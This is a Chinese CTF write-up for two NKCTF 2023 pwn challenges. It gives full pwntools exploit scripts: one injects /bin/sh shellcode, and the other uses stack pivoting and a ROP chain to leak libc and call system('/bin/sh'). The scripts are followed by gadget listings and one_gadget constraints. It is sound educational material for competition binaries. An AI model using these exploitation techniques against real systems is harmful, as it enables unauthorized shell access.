NKCTF_2023 pwn部分wp

shellcode

64位shellcode题目
使用read读入,并用strncpy将读入数据复制到bss段上一处偏移处,随后执行该bss地址加上100以内随机数的偏移的地址处指令(此题随机数无效,可以直接执行bss偏移处)
exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])


while True:
    try:
        # io=process("./pwn")
        io=remote("node.yuzhian.com.cn",33905)
        io.recvuntil(b"5 min!\n")
        shellcode=asm(shellcraft.sh())
        payload=cyclic(84)+shellcode.ljust(36,b"a")+p64(0x4040d4)
        # gdb.attach(io)
        # pause()

        io.send(payload)

        io.interactive()

    except:
        io.close()
        continue
        
        

# pwn部分题目的临时静态平台
# ctf.comentropy.cn
# comentropy.cn
# 8301 8302 8303 8304

story

64位栈迁移
menu存在4个函数,前三个函数向bss段分别写入8bytes
第四个函数在前三个函数都被调用后执行,通过read()读入0x20bytes
前三次随便读入,此题可以通过第四次函数执行时进行两次栈迁移之后劫持rsp寄存器然后构建ROP链泄露libc返回构造或者one_gadget求解
栈迁移后由于read长度限制0x20,所以需要小心构建ROP链
另外注意一点,此题需留意十六字节对齐的问题,如果最后卡住了不妨修改一下bss的初始地址(卡了2h的锅

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])


# io=process("./story")
io=remote("node.yuzhian.com.cn",35198)
elf=ELF("./story")
libc=ELF("./libc.so.6")

puts_got=elf.got[b"puts"]
puts_plt=elf.plt[b"puts"]
heart=0x40136f
ret=0x40101a
bss_addr=0x4050A8+0x700
pop_rdi_ret=0x401573
read_text=0x401387
leave_ret=0x40139e
one_gadget=[0xe3afe,0xe3b01,0xe3b04]

io.recvuntil(b"> \n")
io.sendline(b"1")
io.recvuntil(b"comment?\n")
# payload=p64(read_text)
io.sendline(b"asd")

io.recvuntil(b"> \n")
io.sendline(b"2")
io.recvuntil(b"corment?\n")
io.sendline(b"asd")

io.recvuntil(b"> \n")
io.sendline(b"3")
io.recvuntil(b"corMenT?\n")
io.sendline(b"asd")

io.recvuntil(b"> \n")
io.sendline(b"4")
io.recvuntil(b"heart...\n")




payload=cyclic(0xA)+p64(bss_addr)+p64(read_text)
payload=payload.ljust(0x20,b"a")
io.send(payload)

payload=cyclic(0xA)+p64(bss_addr+0xA+0x8)+p64(read_text)
payload=payload.ljust(0x20,b"a")
io.send(payload)



payload=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(heart)
io.send(payload)

libc_base=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x084420
sys_addr=libc_base+0x052290
str_bin_sh=libc_base+0x1b45bd
print("libc_base:  "+hex(libc_base))

shell=one_gadget[0]+libc_base
print("shell:  "+hex(shell))


# gdb.attach(io)
# pause()

# payload=cyclic(0x12)+p64(shell)
# # payload=payload.ljust(0x20,b"a")
# io.send(payload)

io.recvuntil(b"heart...\n")

payload=cyclic(0xA)+p64(bss_addr+0x200)+p64(read_text)
payload=payload.ljust(0x20,b"a")
io.send(payload)

payload=cyclic(0xA)+p64(bss_addr+0xA+0x200)+p64(read_text)
payload=payload.ljust(0x20,b"a")
io.send(payload)



payload=p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(sys_addr)
io.send(payload)


io.interactive()


# Gadgets information
# ============================================================
# 0x000000000040139e : leave ; ret
# 0x000000000040156c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040156e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401570 : pop r14 ; pop r15 ; ret
# 0x0000000000401572 : pop r15 ; ret
# 0x000000000040156b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040156f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040118d : pop rbp ; ret
# 0x0000000000401573 : pop rdi ; ret
# 0x0000000000401571 : pop rsi ; pop r15 ; ret
# 0x000000000040156d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret

# Unique gadgets found: 12

# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL